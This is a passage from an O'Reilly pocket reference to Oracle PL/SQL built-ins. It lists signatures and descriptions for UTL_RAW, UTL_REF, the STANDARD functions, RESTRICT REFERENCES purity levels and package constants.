Returns the bitwise logical XOR of r1 and r2.

FUNCTION UTL_RAW.CAST_TO_RAW
    (c IN VARCHAR2)
RETURN RAW;

Returns VARCHAR2 c to RAW, converting datatype only.

FUNCTION UTL_RAW.CAST_TO_VARCHAR2
    (r IN RAW)
RETURN VARCHAR2;

Returns RAW c to VARCHAR2, converting datatype only.

FUNCTION UTL_RAW.COMPARE
    (r1 IN RAW
    ,r2 IN RAW
    ,pad IN RAW DEFAULT NULL)
RETURN NUMBER;

Returns 0 if r1 and r2 are identical. Returns first byte position of difference in r1 and r2. If r1 and r2 are different lengths, right pad the shorter with pad.

FUNCTION UTL_RAW.CONCAT
    (r1 IN RAW DEFAULT NULL
    ,r2 IN RAW DEFAULT NULL
    ,r3 IN RAW DEFAULT NULL
    ,r4 IN RAW DEFAULT NULL
    ,r5 IN RAW DEFAULT NULL
    ,r6 IN RAW DEFAULT NULL
    ,r7 IN RAW DEFAULT NULL
    ,r8 IN RAW DEFAULT NULL
    ,r9 IN RAW DEFAULT NULL
    ,r10 IN RAW DEFAULT NULL
    ,r11 IN RAW DEFAULT NULL
    ,r12 IN RAW DEFAULT NULL)
RETURN RAW;

Returns the concatenation of r1 through r12. The result must be less than 32K. r3 through r12 are optional.

FUNCTION UTL_RAW.CONVERT
    (r IN RAW
    ,to_charset IN VARCHAR2
    ,from_charset IN VARCHAR2)
RETURN RAW;

Returns r in to_charset after conversion from from_charset. from_charset and to_charset are NLS character sets.

FUNCTION UTL_RAW.COPIES
    (r IN RAW
    ,n IN NUMBER)
RETURN RAW;

Concatenates r, n number of times, and returns the result.

FUNCTION UTL_RAW.LENGTH
    (r IN RAW)
RETURN NUMBER;

Returns the number of bytes in r.

FUNCTION UTL_RAW.OVERLAY
    (overlay_str IN RAW
    ,target IN RAW
    ,pos IN BINARY_INTEGER DEFAULT 1
    ,len IN BINARY_INTEGER DEFAULT NULL
    ,pad IN RAW DEFAULT NULL)
RETURN RAW;

Returns the target overlaid with the overlay_str string beginning pos bytes into target and continuing for len bytes, right padding with pad as necessary. If pos is greater than the length of target, fills the missing section with pad.

FUNCTION UTL_RAW.REVERSE
    (r IN RAW)
RETURN RAW;

Returns the bytes in r in reverse order.

FUNCTION UTL_RAW.SUBSTR
    (r IN RAW
    ,pos IN BINARY_INTEGER
    ,len IN BINARY_INTEGER DEFAULT NULL)
RETURN RAW;

Returns a portion of r beginning at pos and extending for len bytes.

FUNCTION UTL_RAW.TRANSLATE
    (r IN RAW
    ,from_set IN RAW
    ,to_set IN RAW)
RETURN RAW;

Returns the contents of r, translating bytes found in from_set to to_set. If from_set is longer than to_set, the unmatched bytes are removed from r.

FUNCTION UTL_RAW.TRANSLITERATE
    (r IN RAW
    ,to_set IN RAW DEFAULT NULL
    ,from_set IN RAW DEFAULT NULL
    ,pad IN RAW DEFAULT NULL)
RETURN RAW;

Returns the contents of r, translating bytes found in from_set to to_set. If from_set is longer than to_set, the unmatched bytes are translated to pad.

FUNCTION UTL_RAW.XRANGE
    (start_byte IN RAW DEFAULT NULL
    ,end_byte IN RAW DEFAULT NULL)
RETURN RAW;

Returns a raw string containing all bytes in order between start_byte and end_byte, inclusive. If start_byte is greater than end_byte, the result wraps from 0xFF to 0x00.

1.3.24 UTL_REF

UTL_REF contains routines for selecting and modifying instances of an object type in an object table. The name of the table does not have to be known. Oracle8.0.4 only.

PROCEDURE UTL_REF.DELETE_OBJECT
    (reference IN REF ANY);

Deletes the object (actually the row containing the object) identified by reference.

PROCEDURE UTL_REF.LOCK_OBJECT
    (reference IN REF ANY);

Locks the object referenced by reference.

PROCEDURE UTL_REF.LOCK_OBJECT
    (reference IN REF ANY
    ,object IN OUT ANY);

Locks the object referenced by reference and retrieves the object into object. Similar to a SELECT FOR UPDATE statement.

PROCEDURE UTL_REF.SELECT_OBJECT
    (reference IN REF ANY
    ,object IN OUT ANY);

Retrieves the object referenced by reference into object.

PROCEDURE UTL_REF.UPDATE_OBJECT
    (reference IN REF ANY
    ,object IN OUT ANY);

Replaces an object in the database identified by reference with the object object.

Previous: 1.2 Conventions | Oracle PL/SQL Built-ins Pocket Reference | Next: 1.4 Built-in Functions
1.2 Conventions |  | 1.4 Built-in Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.4 Built-in Functions

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

1.4 Built-in Functions

Built-in functions, implemented by Oracle in the STANDARD built-in package, are predefined functions that give you convenient ways to manipulate your data. There are six basic types of built-in functions, each described here in its own section:

  • Character functions analyze and modify the contents of CHAR and VARCHAR2 string variables.

  • Numeric functions are a full range of operations that manipulate numbers, including trigonometric, logarithmic, and exponential functions.

  • Date functions are utilities that allow programmers to perform high-level actions on date variables, including date arithmetic.

  • Conversion functions convert from one datatype to another, often formatting the output data at the same time.

  • LOB functions allow operations on LOB (large object) data.

  • Miscellaneous functions perform operations that don't fall into any of the other categories.

STANDARD contains definitions and functions for the PL/SQL language. These definitions include all of the PL/SQL datatypes, the named exceptions, and the functions and operators (which are defined as functions). Note that almost all STANDARD functions have corresponding SQL native functions.

1.4.1 Character Functions

Character functions parse names, concatenate strings, and perform other character operations.

FUNCTION ASCII
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN BINARY_INTEGER;

Returns the numeric ASCII code for ch.

FUNCTION CHR (n BINARY_INTEGER) RETURN VARCHAR2;

Returns the character associated with the numeric collating sequence n, according to the database's character set.

FUNCTION CONCAT
    (left IN VARCHAR2 CHARACTER SET ANY_CS
    ,right IN VARCHAR2 CHARACTER SET left%CHARSET)
RETURN VARCHAR2;

Returns the string right appended to string left.

FUNCTION INITCAP
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN VARCHAR2;

Returns the string ch with the first letter of each word in uppercase and all other letters in lowercase.

FUNCTION INSTR
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,str2 IN VARCHAR2 CHARACTER SET str1%CHARSET
    ,pos BINARY_INTEGER := 1
    ,nth IN POSITIVE := 1)
RETURN BINARY_INTEGER;

Returns the character position of the nth appearance of str2 in the string str1. The search begins pos characters into str1 and continues for the length of str1. A negative pos forces a right to left (backwards) search.

FUNCTION INSTRB
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,str2 IN VARCHAR2 CHARACTER SET str1%CHARSET
    ,pos BINARY_INTEGER := 1
    ,nth IN POSITIVE := 1)
RETURN BINARY_INTEGER;

Same as INSTR except pos and len are expressed in bytes (for multi-byte character sets).

FUNCTION LENGTH
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN NATURAL;

Returns the length of string ch.

FUNCTION LENGTHB
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN NUMBER;

Returns the length in bytes of ch.

FUNCTION LOWER
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN VARCHAR2;

Returns ch with all characters in lowercase.

FUNCTION LPAD
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,len BINARY_INTEGER
   [,pad IN VARCHAR2 CHARACTER SET str1%CHARSET])
RETURN VARCHAR2;

Returns str1 padded on the left to a length of len with pad character pad.

FUNCTION LTRIM
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS := ` `
    [,tset IN VARCHAR2 CHARACTER SET str1%CHARSET])
RETURN VARCHAR2;

Returns str1 stripped of any leading characters that appear in tset.

FUNCTION REPLACE
    (srcstr IN VARCHAR2 CHARACTER SET ANY_CS
    ,oldsub IN VARCHAR2 CHARACTER SET srcstr%CHARSET
    ,newsub IN VARCHAR2 CHARACTER SET
        srcstr%CHARSET:= NULL)
RETURN VARCHAR2;

Returns scrstr with all occurrences of oldsub replaced with newsub.

FUNCTION RPAD
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,len BINARY_INTEGER
   [,pad IN VARCHAR2 CHARACTER SET str1%CHARSET])
RETURN VARCHAR2;

Returns str1 padded on the right to a length of len using pad character pad.

FUNCTION RTRIM
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS := ` `
   [,tset IN VARCHAR2 CHARACTER SET str1%CHARSET])
RETURN VARCHAR2;

Returns str1 stripped of any trailing characters that appear in tset.

FUNCTION SOUNDEX
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN VARCHAR2;

Returns the soundex (phonetic) encoding of ch.

FUNCTION SUBSTR
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,pos BINARY_INTEGER
    ,len BINARY_INTEGER := NULL)
RETURN VARCHAR2;

Returns the portion of str1 beginning pos characters into str1 and extending for len characters. Negatives in pos or len cause the positions to be counted from right to left (backwards).

FUNCTION SUBSTRB
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,pos BINARY_INTEGER
    ,len BINARY_INTEGER := NULL)
RETURN VARCHAR2;

Same as SUBSTR except pos and len are expressed in bytes (for multi-byte character sets).

FUNCTION TRANSLATE
    (str1 IN VARCHAR2 CHARACTER SET ANY_CS
    ,src IN VARCHAR2 CHARACTER SET str1%CHARSET
    ,dest IN VARCHAR2 CHARACTER SET str1%CHARSET)
RETURN VARCHAR2;

Returns str1 with all occurrences of characters in src replaced by positionally corresponding characters in dest.

FUNCTION UPPER
    (ch IN VARCHAR2 CHARACTER SET ANY_CS)
RETURN VARCHAR2;

Returns the string ch in all uppercase.

1.4.2 Numeric Functions

Numeric functions manipulate numbers.

FUNCTION ABS (n IN NUMBER) RETURN NUMBER;

Returns the absolute value of n.

FUNCTION ACOS (n IN NUMBER) RETURN NUMBER;

Returns the arc cosine of n where -1 < n < 1.

FUNCTION ASIN (n IN NUMBER) RETURN NUMBER;

Returns the arc sine of n where -1 < n < 1.

FUNCTION ATAN (n IN NUMBER) RETURN NUMBER;

Returns the inverse tangent of n.

FUNCTION ATAN2
    (x IN NUMBER, y IN NUMBER)
RETURN NUMBER;

Returns the arc tangent of x and y.

FUNCTION CEIL (n IN NUMBER) RETURN NUMBER;

Returns the nearest integer greater than or equal to n.

FUNCTION COS (n IN NUMBER) RETURN NUMBER;

Returns the trigonometric cosine of n.

FUNCTION COSH (n IN NUMBER) RETURN NUMBER;

Returns the hyperbolic cosine of n.

FUNCTION EXP (n IN NUMBER) RETURN NUMBER;

Returns the value of e raised to the nth power where e is the base of the natural logarithms.

FUNCTION FLOOR (n IN NUMBER) RETURN NUMBER;

Returns the nearest integer less than or equal to n.

FUNCTION LN (n IN NUMBER) RETURN NUMBER;

Returns the natural logarithm of n.

FUNCTION LOG
    (left IN NUMBER, right IN NUMBER)
RETURN NUMBER;

Returns the logarithm of right in base left where left >1 and right > 0.

FUNCTION MOD
    (n1 IN NUMBER, n2 IN NUMBER)
RETURN NUMBER;

Returns the remainder of n1 after division by n2.

FUNCTION POWER
    (n IN NUMBER, e IN NUMBER)
RETURN NUMBER;

Returns n raised to the eth power.

FUNCTION ROUND
   (left IN NUMBER
   ,right BINARY_INTEGER := 0)
RETURN NUMBER;

Returns left rounded to right decimal places.

FUNCTION SIGN (n IN NUMBER) RETURN SIGNTYPE;

Returns -1, 0, or 1, depending on the sign of n.

FUNCTION SIN (n IN NUMBER) RETURN NUMBER;

Returns the trigonometric sine function of n.

FUNCTION SINH (n IN NUMBER) RETURN NUMBER;

Returns the hyperbolic sine of n.

FUNCTION SQRT (n IN NUMBER) RETURN NUMBER;

Returns the square root of n.

FUNCTION TAN (n IN NUMBER) RETURN NUMBER;

Returns the trigonometric tangent function of n.

FUNCTION TANH (n IN NUMBER) RETURN NUMBER;

Returns the hyperbolic tangent of n.

FUNCTION TRUNC
   (n IN NUMBER
   ,places BINARY_INTEGER := 0)
RETURN NUMBER;

Truncates n to places decimal places.

1.4.3 Date Functions

Date functions manipulate date information.

FUNCTION ADD_MONTHS
   (left IN DATE | NUMBER
   ,right IN NUMBER | DATE)
RETURN DATE;

Returns the date resulting from adding right months to the left date.

FUNCTION LAST_DAY (right IN DATE) RETURN DATE;

Returns the last day of the month containing date right.

FUNCTION MONTHS_BETWEEN
    (left IN DATE, right IN DATE)
RETURN NUMBER;

Returns the number of months between left and right.

FUNCTION NEW_TIME
   (right IN DATE
   ,middle IN VARCHAR2
   ,left IN VARCHAR2)
RETURN DATE;

Returns the date when date right is converted from time zone middle to time zone left.

FUNCTION NEXT_DAY
    (left IN DATE, right IN VARCHAR2)
RETURN DATE;

Returns the next occurrence of day of the week right ("Monday", "Tuesday", etc.) after date left.

FUNCTION ROUND
    (left IN DATE [,right IN VARCHAR2])
RETURN DATE;

Returns date left rounded according to format mask right (or the default format DD).

FUNCTION SYSDATE RETURN DATE;

Returns the current system date from the database.

FUNCTION TRUNC
    (left IN DATE [,right IN VARCHAR2])
RETURN DATE;

Returns the date left truncated using format mask right (or the default format DD).

1.4.4 Conversion Functions

Conversion functions convert data to the right datatype for an operation.

FUNCTION CHARTOROWID (str IN VARCHAR2) RETURN ROWID;

Returns str converted from VARCHAR2 to the ROWID datatype. See also DBMS_ROWID.

FUNCTION CONVERT
    (src IN VARCHAR2
    ,destcset IN VARCHAR2
   [,srccset IN VARCHAR2])
RETURN VARCHAR2;

Returns src converted from character set srcset to destcset. The default for srccset is the database's default character set.

FUNCTION HEXTORAW (c IN VARCHAR2) RETURN RAW;

Returns the hexadecimal encoded VARCHAR c as a RAW string.

FUNCTION RAWTOHEX (r IN RAW) RETURN VARCHAR2;

Returns the RAW string r as a hexadecimal encoded VARCHAR.

FUNCTION ROWIDTOCHAR (str IN ROWID) RETURN VARCHAR2;

Returns the ROWID data in str converted to a VARCHAR.

FUNCTION TO_CHAR
    (left IN DATE | NUMBER
    [,right IN VARCHAR2])
    [,parms IN VARCHAR2])
RETURN VARCHAR2;

Returns left converted from a NUMBER or DATE to a VARCHAR, using format mask right if specified. The optional parms can specify NLS language parameters.

FUNCTION TO_DATE
    (left IN VARCHAR2 | NUMBER
    [,right IN VARCHAR2]
    [,parms IN VARCHAR2])
RETURN DATE;

Returns left converted from a NUMBER or VARCHAR to a DATE, using format mask right if specified. The optional parms can specify NLS language parameters.

FUNCTION TO_NUMBER
    (left IN VARCHAR2 | NUMBER
    [,right IN VARCHAR2]
    [,parms IN VARCHAR2])
RETURN NUMBER;

Returns left converted from a VARCHAR or NUMBER to a DATE, using format mask right if specified. The optional parms can specify NLS language parameters.

1.4.5 LOB Functions

LOB functions initialize large object (LOB) values.

FUNCTION BFILENAME
    (directory IN VARCHAR2
    ,filename IN VARCHAR2)
RETURN BFILE;

Returns a BFILE locator (handle) to filename in directory directory. See also DBMS_LOB.

FUNCTION EMPTY_BLOB RETURN BLOB;

Returns an empty locator of type BLOB.

FUNCTION EMPTY_CLOB RETURN CLOB;

Returns an empty locator of type CLOB.

1.4.6 Miscellaneous Functions

Miscellaneous functions return a variety of useful information.

FUNCTION BITAND
    (left BINARY_INTEGER
    ,right BINARY_INTEGER)
RETURN BINARY_INTEGER;

Returns the bitwise AND of left and right.

FUNCTION DUMP
    (e IN NUMBER | DATE | VARCHAR2
    ,df BINARY_INTEGER := NULL
    ,sp BINARY_INTEGER := NULL
    ,len BINARY_INTEGER := NULL)
RETURN VARCHAR2;

Returns the internal representation of the portion of e starting at sp of length len and using dump format df (8 = octal; 10 = decimal; 16 = hex; 17 = char).

FUNCTION GREATEST
    (pattern IN NUMBER | VARCHAR | DATE)
RETURN NUMBER | VARCHAR | DATE;

Returns the greatest value of the (two or more) expressions listed in pattern. pattern expressions must all have the same datatype.

FUNCTION LEAST
    (pattern IN NUMBER | VARCHAR | DATE)
RETURN NUMBER | VARCHAR | DATE;

Returns the smallest value of the (two or more) expressions listed in pattern. pattern is a comma-delimited list of expressions that all have the same datatype.

FUNCTION NVL
    (s1 | n1 | d1 | b1  IN VARCHAR2 | NUMBER | DATE |
       BOOLEAN
    ,s2 | n2 | d2 | b2 IN VARCHAR2 CHARACTER SET
       s1%CHARSET)
RETURN VARCHAR2 | NUMBER | DATE | BOOLEAN;

NULL value function; returns s2 | n2 | d2 | b2 when s1 | n1 | d1 | b1 is NULL, otherwise s1 | n1 | d1 | b1.

FUNCTION SQLCODE RETURN NUMBER;

Returns the numeric code associated with the current execution status.

FUNCTION SQLERRM [(code IN NUMBER)] RETURN VARCHAR2;

Returns the error message associated with code (or the current SQLCODE by default).

FUNCTION UID RETURN NUMBER;

Returns the numeric user id of the current user.

FUNCTION USER RETURN VARCHAR2;

Returns the character username of the current user.

FUNCTION USERENV (envstr IN VARCHAR2) RETURN VARCHAR2;

Returns the user session environment information specified by envstr, which can have the following values:

ENTRYID

To return an auditing identifier.

INSTANCE

To return the instance identifier for an OPS database.

LANGUAGE

To return NLS settings (language, territory, and character set) for the session.

TERMINAL

To return the operating system terminal identifier.

FUNCTION VSIZE
    (e IN NUMBER | DATE | VARCHAR2)
RETURN NUMBER;

Returns the number of bytes used to store e internally.

FUNCTION XOR
    (left IN BOOLEAN, right IN BOOLEAN)
RETURN BOOLEAN;

Returns TRUE when either left or right is TRUE but not both. See also UTL_RAW.

Previous: 1.3 Built-in Packages | Oracle PL/SQL Built-ins Pocket Reference | Next: 1.5 RESTRICT REFERENCES Pragmas
1.3 Built-in Packages |  | 1.5 RESTRICT REFERENCES Pragmas
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.5 RESTRICT REFERENCES Pragmas

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

1.5 RESTRICT REFERENCES Pragmas

A pragma is a directive to the PL/SQL compiler. Pragmas pass information to the compiler; they are processed at compile time but do not execute. If you include a call to a built-in package in a SQL statement, you must include a RESTRICT REFERENCES pragma in your code. This pragma tells the compiler the purity level (freedom from side effects) of a packaged program. The purity levels available are:

  • WNDS -- Writes no database state

  • RNDS -- Reads no database state

  • WNPS -- Writes no package state

  • RNPS -- Reads no package state

DBMS_LOB Programs | WNDS | RNDS | WNPS | RNPS
COMPARE | ✓ | ✓ | ✓ | ✓
FILEEXISTS | ✓ | ✓ | ✓ | ✓
FILEISOPEN | ✓ | ✓ | ✓ | ✓
GETLENGTH | ✓ | ✓ | ✓ | ✓
INSTR | ✓ | ✓ | ✓ | ✓
SUBSTR | ✓ | ✓ | ✓ | ✓
DBMS_OUTPUT Programs | WNDS | RNDS | WNPS | RNPS
DISABLE | ✓ | ✓ |  |
ENABLE | ✓ | ✓ |  |
GET_LINE | ✓ | ✓ |  |
GET_LINES | ✓ | ✓ |  |
NEW_LINE | ✓ | ✓ |  |
PUT | ✓ | ✓ |  |
PUT_LINE | ✓ | ✓ |  |
DBMS_PIPE Programs | WNDS | RNDS | WNPS | RNPS
CREATE_PIPE | ✓ | ✓ |  |
NEXT_ITEM_TYPE | ✓ | ✓ |  |
PACK_MESSAGE | ✓ | ✓ |  |
PACK_MESSAGE_RAW | ✓ | ✓ |  |
PACK_MESSAGE_ROWID | ✓ | ✓ |  |
PURGE | ✓ | ✓ |  |
RECEIVE_MESSAGE | ✓ | ✓ |  |
REMOVE_PIPE | ✓ | ✓ |  |
RESET_BUFFER | ✓ | ✓ |  |
SEND_MESSAGE | ✓ | ✓ |  |
UNIQUE_SESSION_NAME | ✓ | ✓ | ✓ |
UNPACK_MESSAGE | ✓ | ✓ |  |
UNPACK_MESSAGE_RAW | ✓ | ✓ |  |
UNPACK_MESSAGE_ROWID | ✓ | ✓ |  |
DBMS_ROWID Programs | WNDS | RNDS | WNPS | RNPS
ROWID_BLOCK_NUMBER | ✓ | ✓ | ✓ | ✓
ROWID_CREATE | ✓ | ✓ | ✓ | ✓
ROWID_INFO | ✓ | ✓ | ✓ | ✓
ROWID_OBJECT | ✓ | ✓ | ✓ | ✓
ROWID_RELATIVE_FNO | ✓ | ✓ | ✓ | ✓
ROWID_ROW_NUMBER | ✓ | ✓ | ✓ | ✓
ROWID_TO_ABSOLUTE_FNO | ✓ |  | ✓ | ✓
ROWID_TO_EXTENDED | ✓ |  | ✓ | ✓
ROWID_TO_RESTRICTED | ✓ | ✓ | ✓ | ✓
ROWID_TYPE | ✓ | ✓ | ✓ | ✓
ROWID_VERIFY | ✓ |  | ✓ | ✓
DBMS_SESSION Program | WNDS | RNDS | WNPS | RNPS
UNIQUE_SESSION_ID | ✓ | ✓ | ✓ |
DBMS_SQL Programs | WNDS | RNDS | WNPS | RNPS
BIND_ARRAY | ✓ |  |  |
BIND_VARIABLE | ✓ |  |  |
BIND_VARIABLE_CHAR | ✓ |  |  |
BIND_VARIABLE_RAW | ✓ |  |  |
BIND_VARIABLE_ROWID | ✓ |  |  |
CLOSE_CURSOR | ✓ | ✓ |  |
COLUMN_VALUE | ✓ | ✓ |  |
COLUMN_VALUE_CHAR | ✓ | ✓ |  |
COLUMN_VALUE_LONG | ✓ | ✓ |  |
COLUMN_VALUE_RAW | ✓ | ✓ |  |
COLUMN_VALUE_ROWID | ✓ | ✓ |  |
DEFINE_ARRAY | ✓ | ✓ |  |
DEFINE_COLUMN | ✓ | ✓ |  |
DEFINE_COLUMN_CHAR | ✓ | ✓ |  |
DEFINE_COLUMN_LONG | ✓ | ✓ |  |
DEFINE_COLUMN_RAW | ✓ | ✓ |  |
DEFINE_COLUMN_ROWID | ✓ | ✓ |  |
DESCRIBE_COLUMNS | ✓ |  |  |
EXECUTE_AND_FETCH | ✓ |  |  |
FETCH_ROWS | ✓ |  |  |
IS_OPEN | ✓ | ✓ |  |
LAST_ERROR_POSITION | ✓ | ✓ |  |
LAST_ROW_COUNT | ✓ | ✓ |  |
LAST_ROW_ID | ✓ | ✓ |  |
LAST_SQL_FUNCTION_CODE | ✓ | ✓ |  |
OPEN_CURSOR | ✓ | ✓ |  |
VARIABLE_VALUE | ✓ | ✓ |  |
VARIABLE_VALUE_CHAR | ✓ | ✓ |  |
VARIABLE_VALUE_RAW | ✓ | ✓ |  |
VARIABLE_VALUE_ROWID | ✓ | ✓ |  |
DBMS_STANDARD Programs | WNDS | RNDS | WNPS | RNPS
DELETING | ✓ |  | ✓ | ✓
INSERTING | ✓ |  | ✓ | ✓
RAISE_APPLICATION_ERROR | ✓ | ✓ | ✓ | ✓
UPDATING | ✓ |  | ✓ | ✓
DBMS_UTILITY Programs | WNDS | RNDS | WNPS | RNPS
DATA_BLOCK_ADDRESS_BLOCK | ✓ | ✓ | ✓ | ✓
DATA_BLOCK_ADDRESS_FILE | ✓ | ✓ | ✓ | ✓
GET_HASH_VALUE | ✓ | ✓ | ✓ | ✓
MAKE_DATA_BLOCK_ADDRESS | ✓ | ✓ | ✓ | ✓
PORT_STRING | ✓ | ✓ | ✓ | ✓
UTL_RAW Programs | WNDS | RNDS | WNPS | RNPS
BIT_AND | ✓ | ✓ | ✓ | ✓
BIT_COMPLEMENT | ✓ | ✓ | ✓ | ✓
BIT_OR | ✓ | ✓ | ✓ | ✓
BIT_XOR | ✓ | ✓ | ✓ | ✓
CAST_TO_RAW | ✓ | ✓ | ✓ | ✓
CAST_TO_VARCHAR2 | ✓ | ✓ | ✓ | ✓
COMPARE | ✓ | ✓ | ✓ | ✓
CONCAT | ✓ | ✓ | ✓ | ✓
CONVERT | ✓ | ✓ | ✓ | ✓
COPIES | ✓ | ✓ | ✓ | ✓
LENGTH | ✓ | ✓ | ✓ | ✓
OVERLAY | ✓ | ✓ | ✓ | ✓
REVERSE | ✓ | ✓ | ✓ | ✓
SUBSTR | ✓ | ✓ | ✓ | ✓
TRANSLATE | ✓ | ✓ | ✓ | ✓
TRANSLITERATE | ✓ | ✓ | ✓ | ✓
XRANGE | ✓ | ✓ | ✓ | ✓

Previous: 1.4 Built-in Functions | Oracle PL/SQL Built-ins Pocket Reference | Next: 1.6 Nonprogram Elements
1.4 Built-in Functions |  | 1.6 Nonprogram Elements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.6 Nonprogram Elements

Oracle PL/SQL Built-ins Pocket Reference

Oracle PL/SQL Built-ins Pocket ReferenceSearch this book

1.6 Nonprogram Elements

In addition to the definitions for the programs (shown earlier in the Section 1.3, "Built-in Packages" section), a package specification may contain nonprogram elements defined for that package. These elements may include constants, exceptions, record types, and index-by tables.

This section shows the nonprogram elements defined for each of the built-in packages.

1.6.1 DBMS_ALERT

maxwait CONSTANT INTEGER := 86400000;

1.6.2 DBMS_APPLICATION_INFO

set_session_longops_nohint
  CONSTANT BINARY_INTEGER := -1;

1.6.3 DBMS_AQ

before            CONSTANT BINARY_INTEGER
browse            CONSTANT BINARY_INTEGER
expired           CONSTANT BINARY_INTEGER
first_message     CONSTANT BINARY_INTEGER
forever           CONSTANT BINARY_INTEGER
immediate         CONSTANT BINARY_INTEGER
locked            CONSTANT BINARY_INTEGER
never             CONSTANT BINARY_INTEGER
next_message      CONSTANT BINARY_INTEGER
next_transaction  CONSTANT BINARY_INTEGER
no_delay          CONSTANT BINARY_INTEGER
no_wait           CONSTANT BINARY_INTEGER
on_commit         CONSTANT BINARY_INTEGER
processed         CONSTANT BINARY_INTEGER
ready             CONSTANT BINARY_INTEGER
remove            CONSTANT BINARY_INTEGER
top               CONSTANT BINARY_INTEGER
waiting           CONSTANT BINARY_INTEGER

TYPE aq$_recipient_list_t IS TABLE OF sys.aq$_agent
  INDEX BY BINARY_INTEGER;

TYPE message_properties_t IS RECORD
   (priority        BINARY_INTEGER DEFAULT 1
   ,delay           BINARY_INTEGER
                         DEFAULT DBMS_AQ.no_delay
   ,expiration      BINARY_INTEGER
                         DEFAULT DBMS_AQ.never
   ,correlation     VARCHAR2(128) DEFAULT NULL
   ,attempts        BINARY_INTEGER
   ,recipient_list  DBMS_AQ.aq$_recipient_list_t
   ,exception_queue VARCHAR2(51) DEFAULT NULL
   ,enqueue_time    DATE
   ,state           BINARY_INTEGER);

TYPE enqueue_options_t IS RECORD
   (visibility         BINARY_INTEGER
                           DEFAULT DBMS_AQ.on_commit
   ,relative_msgid     RAW(16) DEFAULT NULL
   ,sequence_deviation BINARY_INTEGER DEFAULT NULL);

TYPE dequeue_options_t IS RECORD
   (consumer_name  VARCHAR2(30) DEFAULT NULL
   ,dequeue_mode   BINARY_INTEGER
                        DEFAULT DBMS_AQ.remove
   ,navigation     BINARY_INTEGER
                        DEFAULT DBMS_AQ.next_message
   ,visibility     BINARY_INTEGER
                        DEFAULT DBMS_AQ.on_commit
   ,wait           BINARY_INTEGER
                        DEFAULT DBMS_AQ.forever
   ,msgid          RAW(16) DEFAULT NULL
   ,correlation    VARCHAR2(128) DEFAULT NULL);

1.6.4 DBMS_AQADM

exception_queue CONSTANT BINARY_INTEGER := 1;
infinite        CONSTANT BINARY_INTEGER := -1;
none            CONSTANT BINARY_INTEGER := 0;
normal_queue    CONSTANT BINARY_INTEGER := 0;
transactional   CONSTANT BINARY_INTEGER := 1;

TYPE aq$_subscriber_list_t IS TABLE OF sys.aq$_agent
  INDEX BY BINARY_INTEGER;

1.6.5 DBMS_DESCRIBE

TYPE varchar2_table IS TABLE OF VARCHAR2(30)
  INDEX BY BINARY_INTEGER;

TYPE number_table IS TABLE OF NUMBER
  INDEX BY BINARY_INTEGER;

1.6.6 DBMS_LOB

invalid_argval EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_argval, -21560);

access_error EXCEPTION;
PRAGMA EXCEPTION_INIT(access_error, -22925);

noexist_directory EXCEPTION;
PRAGMA EXCEPTION_INIT(noexist_directory, -22285);

nopriv_directory EXCEPTION;
PRAGMA EXCEPTION_INIT(nopriv_directory, -22286);

invalid_directory EXCEPTION;
PRAGMA EXCEPTION_INIT(invalid_directory, -22287);

operation_failed EXCEPTION;
PRAGMA EXCEPTION_INIT(operation_failed, -22288);

unopened_file EXCEPTION;
PRAGMA EXCEPTION_INIT(unopened_file, -22289);

open_toomany EXCEPTION;
PRAGMA EXCEPTION_INIT(open_toomany, -22290);

file_readonly CONSTANT BINARY_INTEGER := 0;
lobmaxsize    CONSTANT INTEGER := 4294967295;
invalid_argval_num     NUMBER := 21560;
access_error_num       NUMBER := 22925;
noexist_directory_num  NUMBER := 22285;
nopriv_directory_num   NUMBER := 22286;
invalid_directory_num  NUMBER := 22287;
operation_failed_num   NUMBER := 22288;
unopened_file_num      NUMBER := 22289;
open_toomany_num       NUMBER := 22290;

1.6.7 DBMS_LOCK

nl_mode  CONSTANT INTEGER := 1;
ss_mode  CONSTANT INTEGER := 2;
sx_mode  CONSTANT INTEGER := 3;
s_mode   CONSTANT INTEGER := 4;
ssx_mode CONSTANT INTEGER := 5;
x_mode   CONSTANT INTEGER := 6;
maxwait  CONSTANT INTEGER := 32767;

1.6.8 DBMS_OUTPUT

TYPE chararr IS TABLE OF VARCHAR2(255)
  INDEX BY BINARY_INTEGER;

1.6.9 DBMS_PIPE

maxwait CONSTANT INTEGER := 86400000;

1.6.10 DBMS_ROWID

rowid_invalid EXCEPTION;
PRAGMA EXCEPTION_INIT(rowid_invalid, -1410);

rowid_bad_block EXCEPTION;
PRAGMA EXCEPTION_INIT(rowid_bad_block, -28516);

